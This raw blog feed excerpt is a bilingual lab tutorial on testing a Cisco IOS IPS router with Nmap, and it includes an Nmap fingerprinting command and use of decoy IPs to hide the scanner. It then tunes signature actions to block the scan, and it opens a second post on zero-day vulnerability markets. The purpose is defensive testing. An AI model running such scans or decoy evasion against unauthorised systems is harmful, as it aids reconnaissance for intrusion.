class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;The above log shows: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;1. Number of Signatures (Sigs) such as: 2004, 3040, 3041, 3042. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;2. Display the type of packets: ICMP Echo Req (ping), TCP SYN / FIN, etc&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;3. The IP source and destination&lt;br /&gt;&lt;br /&gt;Using the NMap option “decoy -D”, we try to conceal the attacker's IP with the fake ip addresses, and the results from IPS are shown in the figure below:&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUSRi0Vl8I/AAAAAAAAACo/kaS8iLRb2oM/s1600-h/04.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 112px;" src="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUSRi0Vl8I/AAAAAAAAACo/kaS8iLRb2oM/s320/04.jpg" alt="" id="BLOGGER_PHOTO_ID_5329185826676250562" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=";font-size:100%;" &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;v:shape id="_x0033__x0020_Imagen" spid="_x0000_s1028" type="#_x0000_t75" alt="04.jpg" style="position: absolute; left: 0pt; text-align: left; margin-left: -62.55pt; margin-top: 8.4pt; width: 573pt; height: 199.5pt; z-index: 2; visibility: visible;" wrapcoords="-57 0 -57 21438 21600 21438 21600 0 -57 0"&gt;  &lt;v:imagedata src="file:///C:%5CUsers%5Crafael%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_image004.jpg" title="04"&gt;  &lt;w:wrap type="through"&gt; &lt;/w:wrap&gt;&lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;Looking at the log, it appears that the alerts are generated with the same number of signatures to the previous image but with different IP addresses (i.e. attacker). While the log shows the number of signatures it matches the SDM and choose an action to be taken in addition to the default which is: “Alarm”. For example, we choose the signature 3040 and add a DROP action.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_d-rQacFdOFI/SfUSawIxhNI/AAAAAAAAACw/Hw_a9vwkyCg/s1600-h/05.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 113px;" src="http://4.bp.blogspot.com/_d-rQacFdOFI/SfUSawIxhNI/AAAAAAAAACw/Hw_a9vwkyCg/s320/05.jpg" alt="" id="BLOGGER_PHOTO_ID_5329185984870450386" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;After applying the changes, run NMap and look at the results shown below:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;&lt;v:shape id="_x0035__x0020_Imagen" spid="_x0000_i1026" type="#_x0000_t75" alt="06.jpg" style="width: 441.75pt; height: 321.75pt; visibility: visible;"&gt;  &lt;v:imagedata src="file:///C:%5CUsers%5Crafael%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_image006.jpg" title="06"&gt; &lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_d-rQacFdOFI/SfUS4bl0hwI/AAAAAAAAAC4/4_zAp-dXWNo/s1600-h/06.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 233px;" src="http://1.bp.blogspot.com/_d-rQacFdOFI/SfUS4bl0hwI/AAAAAAAAAC4/4_zAp-dXWNo/s320/06.jpg" alt="" id="BLOGGER_PHOTO_ID_5329186494751213314" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;However, it should be noted that NMap does not give accurate results on determining the OS. Now for instance, choose the first signature of the log (2004) and define the action “denyAttacker”.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_d-rQacFdOFI/SfUTGKMqS4I/AAAAAAAAADA/p4ruWyo_JhE/s1600-h/07.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 113px;" src="http://2.bp.blogspot.com/_d-rQacFdOFI/SfUTGKMqS4I/AAAAAAAAADA/p4ruWyo_JhE/s320/07.jpg" alt="" id="BLOGGER_PHOTO_ID_5329186730600450946" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;Look at the following results from a router after the new action has been defined:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;&lt;v:shape id="_x0037__x0020_Imagen" spid="_x0000_i1025" type="#_x0000_t75" alt="08.jpg" style="width: 441.75pt; height: 351pt; visibility: visible;"&gt;  &lt;v:imagedata src="file:///C:%5CUsers%5Crafael%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_image008.jpg" title="08"&gt; &lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_d-rQacFdOFI/SfUTVL8uxqI/AAAAAAAAADI/RUhfoPKG0Ho/s1600-h/08.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 254px;" src="http://2.bp.blogspot.com/_d-rQacFdOFI/SfUTVL8uxqI/AAAAAAAAADI/RUhfoPKG0Ho/s320/08.jpg" alt="" id="BLOGGER_PHOTO_ID_5329186988768544418" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;As we can see that NMap cannot detect any open but instead report them as filtered.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;/*---ESPAÑOL---*/&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;Cuando se hace una implementación de un sistema en una red, siempre se deben hacer pruebas (seguridad, rendimiento, etc.) antes de que un atacante las haga por nosotros. El objetivo de este artículo es hacer una pequeña introducción a una de las pruebas que se deben realizar antes de poner en producción el sistema que estamos implementando.&lt;br /&gt;&lt;br /&gt;Para sacarle provecho a los Routers Cisco, se va a implementar la solución que traen varios modelos  la cual es Cisco IOS Intrusion Prevention System (IPS).&lt;br /&gt;&lt;br /&gt;Según Cisco, un IPS es un sistema en línea con características de inspección de paquete profundo, que efectivamente mitiga un gran rango de ataques de red.&lt;br /&gt;&lt;br /&gt;Las plataformas que soportan esta característica son:&lt;br /&gt;Familia 800: 871, 876, 877, 878, 881, 887, 888&lt;br /&gt;Familia 1800: 1801, 1802, 1803, 1811, 1812, 1841, 1861&lt;br /&gt;Familia 2800: 2801, 2811, 2821, 2851&lt;br /&gt;Familia 3800: 3825,3845&lt;br /&gt;Familia SR520: SR520&lt;br /&gt;Familia 7200: 7204VXR, 7206VXR&lt;br /&gt;Familia 7301: 7301&lt;br /&gt;&lt;br /&gt;Nota: A partir del pasado mes de Mayo del año 2008 Cisco recomienda actualizar las plataformas a una versión del IOS 12.4(11)T2 o posterior, para que sea compatible con el nuevo sistema de firmas 5.x.&lt;br /&gt;&lt;br /&gt;Si desean la actualización de firmas hay que dirigirse al link: http://www.cisco.com/pcgi-bin/tablebuild.pl/ios-v5sigup (requiere CCO login).&lt;br /&gt;&lt;br /&gt;Para aquellos administradores que están empezando en el mundo de Cisco Security, he visto que a muchos les gusta usar la herramienta Security Device Manager (SDM), y creo que si es la primera vez que vamos a implementar esta solución es mejor hacerlo con dicha herramienta para que no existan confusiones al tratar de implementarla vía CLI.&lt;br /&gt;Como la audiencia de este artículo es de administradores de red con conocimientos básicos de redes, protocolo TCP/IP, CCNA Security o equivalentes; me saltare la parte de cómo instalar el SDM y la configuración del router, en caso de que la necesiten, no duden en enviarme un e-mail y con gusto les envío la guía.&lt;br /&gt;&lt;br /&gt;Este es el escenario:&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUH4pEhreI/AAAAAAAAACY/yG5Si0dM03o/s1600-h/ips.jpg"&gt;&lt;img style="cursor: pointer; width: 291px; height: 267px;" src="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUH4pEhreI/AAAAAAAAACY/yG5Si0dM03o/s320/ips.jpg" alt="" id="BLOGGER_PHOTO_ID_5329174403741756898" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;br /&gt;Como se está en un ambiente de laboratorio, imaginemos que el segmento 192.168.100.0/24 es un segmento publico de internet.&lt;br /&gt;&lt;br /&gt;Con Backtrack realizamos un scan a la ip pública de nuestro router:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Nmap –PN –O –sV –v –sS 192.168.100.10&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Se obtiene un resultado similar a la siguiente imagen:&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style="font-family: arial;font-size:100%;" &gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUHOxuQ2tI/AAAAAAAAACQ/r466My07CUM/s1600-h/01.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 216px;" src="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUHOxuQ2tI/AAAAAAAAACQ/r466My07CUM/s320/01.jpg" alt="" id="BLOGGER_PHOTO_ID_5329173684509792978" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;br /&gt;Observemos el log del IOS IPS:&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUIG1iMUmI/AAAAAAAAACg/7adVFTB_VgE/s1600-h/02.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 57px;" src="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUIG1iMUmI/AAAAAAAAACg/7adVFTB_VgE/s320/02.jpg" alt="" id="BLOGGER_PHOTO_ID_5329174647605580386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;En el log se aprecia:&lt;br /&gt;1.    El número de Firma (Sig) como son: 2004, 3040, 3041, 3042.&lt;br /&gt;2.    Muestra el tipo de paquete: ICMP Echo Req (un ping), TCP SYN/FIN, etc.&lt;br /&gt;3.    La IP de origen y la de destino.&lt;br /&gt;&lt;br /&gt;Usando la opción “decoy –D” del NMap, trataremos de camuflar la ip del atacante con direcciones ip falsas; el IPS mostrara una gama de direcciones como se observa en la siguiente figura:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUSRi0Vl8I/AAAAAAAAACo/kaS8iLRb2oM/s1600-h/04.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 112px;" src="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUSRi0Vl8I/AAAAAAAAACo/kaS8iLRb2oM/s320/04.jpg" alt="" id="BLOGGER_PHOTO_ID_5329185826676250562" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;Si se analiza el log, se observa que nos alerta de los mismos números de firmas de la imagen anterior pero con diferentes ip (entre las cuales se encuentra la del atacante).&lt;br /&gt;Como el log muestra el número de firma, se busca en el SDM y se elije una acción a tomar además de la predeterminada que es: “Alarm”. Para dar un ejemplo elegimos la firma 3040 y añadimos la acción DROP.&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;  &lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_d-rQacFdOFI/SfUSawIxhNI/AAAAAAAAACw/Hw_a9vwkyCg/s1600-h/05.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 113px;" src="http://4.bp.blogspot.com/_d-rQacFdOFI/SfUSawIxhNI/AAAAAAAAACw/Hw_a9vwkyCg/s320/05.jpg" alt="" id="BLOGGER_PHOTO_ID_5329185984870450386" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;br /&gt;Una vez aplicados los cambios, se corre el nmap y observamos el resultado, como muestra la siguiente imagen:&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_d-rQacFdOFI/SfUS4bl0hwI/AAAAAAAAAC4/4_zAp-dXWNo/s1600-h/06.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 233px;" src="http://1.bp.blogspot.com/_d-rQacFdOFI/SfUS4bl0hwI/AAAAAAAAAC4/4_zAp-dXWNo/s320/06.jpg" alt="" id="BLOGGER_PHOTO_ID_5329186494751213314" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;br /&gt;Sin embargo,  se debe notar que NMap se le dificulta determinar el O.S. &lt;br /&gt;Ahora para otro ejemplo, se elije la primera firma del log (2004) y tomamos la acción de “denyAttacker”.&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_d-rQacFdOFI/SfUTGKMqS4I/AAAAAAAAADA/p4ruWyo_JhE/s1600-h/07.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 113px;" src="http://2.bp.blogspot.com/_d-rQacFdOFI/SfUTGKMqS4I/AAAAAAAAADA/p4ruWyo_JhE/s320/07.jpg" alt="" id="BLOGGER_PHOTO_ID_5329186730600450946" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;br /&gt;Observemos el resultado al realizar un scan al router una vez aplicada la nueva acción:&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_d-rQacFdOFI/SfUTVL8uxqI/AAAAAAAAADI/RUhfoPKG0Ho/s1600-h/08.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 254px;" src="http://2.bp.blogspot.com/_d-rQacFdOFI/SfUTVL8uxqI/AAAAAAAAADI/RUhfoPKG0Ho/s320/08.jpg" alt="" id="BLOGGER_PHOTO_ID_5329186988768544418" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;br /&gt; Se aprecia como el nmap no puede detectar los puertos abiertos y muestra que los puertos scaneados están siendo filtrados.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-size:100%;" &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-1037053450133575770?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/1037053450133575770'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/1037053450133575770'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/04/cisco-ios-ips-testing-with-nmap-scan.html' title='Cisco IOS IPS Testing with Nmap Scan'/><author><name>Rafael Maita</name><uri>http://www.blogger.com/profile/10954041379966158368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://4.bp.blogspot.com/_d-rQacFdOFI/Se-sJ3IXPgI/AAAAAAAAABw/paAhZdNHtB8/S220/HPIM0415.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_d-rQacFdOFI/SfUH4pEhreI/AAAAAAAAACY/yG5Si0dM03o/s72-c/ips.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-2462877951465146693</id><published>2009-04-25T19:09:00.011-04:30</published><updated>2009-04-25T19:29:15.401-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='paid vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='idefense vcp'/><category scheme='http://www.blogger.com/atom/ns#' term='0-day research'/><category scheme='http://www.blogger.com/atom/ns#' term='wabisabilabi'/><category scheme='http://www.blogger.com/atom/ns#' term='paid exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='paid poc'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability research'/><category scheme='http://www.blogger.com/atom/ns#' term='snosoft'/><category scheme='http://www.blogger.com/atom/ns#' term='zero day market'/><category scheme='http://www.blogger.com/atom/ns#' term='zdi initiatives'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit market'/><category scheme='http://www.blogger.com/atom/ns#' term='0-day market'/><title type='text'>A Vulnerability Research to the Real World's Exploit Market</title><content type='html'>&lt;div style="text-align: justify;"&gt;A software vulnerability is always count as an after math on vendor supplied application. Although, if the proper security controls have been in place before the delivery of the actual software then it might have less chance of any common security defect. Recently, number of known organizations have came out to make a bridge between 0-day vulnerability researchers and the software vendors to help reduced the security issues in their applications. At the same time, market has grown more efficienly and in parallel with different security researchers from around the world. Few of those companies who pay to the researchers are:&lt;br /&gt;&lt;br /&gt;Zero Day Initiative: http://www.zerodayinitiative.com/    (3Com/TippingPoint division)&lt;br /&gt;iDefense VCP: http://labs.idefense.com/vcp/    (VeriSign's company)&lt;br /&gt;Snosoft: http://www.netragard.com                    (Netragard's company)&lt;br /&gt;WabiSabiLabi: http://www.wslabi.com&lt;br /&gt;&lt;br /&gt;To mention, each of these organizations have their own terms and conditions and payment structure for vulnerabilities and exploit codes. According to the guide, "2007-The Legitimate Vulnerability Market" few most important key issues have been highlighted regarding vulnerability from zero day perspectives.&lt;br /&gt;&lt;br /&gt;1. Vulnerability information is time-sensitive commodity&lt;br /&gt;2. No transparency in pricing (there is no public information on any vulnerability types, it depends on different factors)&lt;br /&gt;3. Finding buyers and sellers&lt;br /&gt;4. Checking the buyer&lt;br /&gt;5. Actual value of 0day vulnerbaility cannot be initiated unless the loss is demonstrated&lt;br /&gt;6. Intellectual property rights (how the researcher should feel safe in demonstration without losing its exclusive rights over vulnerability research)&lt;br /&gt;&lt;br /&gt;Each vulnerability researched and provided with underline PoC (proof-of-concept) code is passed through number of stages as the one given below, through above third-party legitimate :&lt;br /&gt;&lt;br 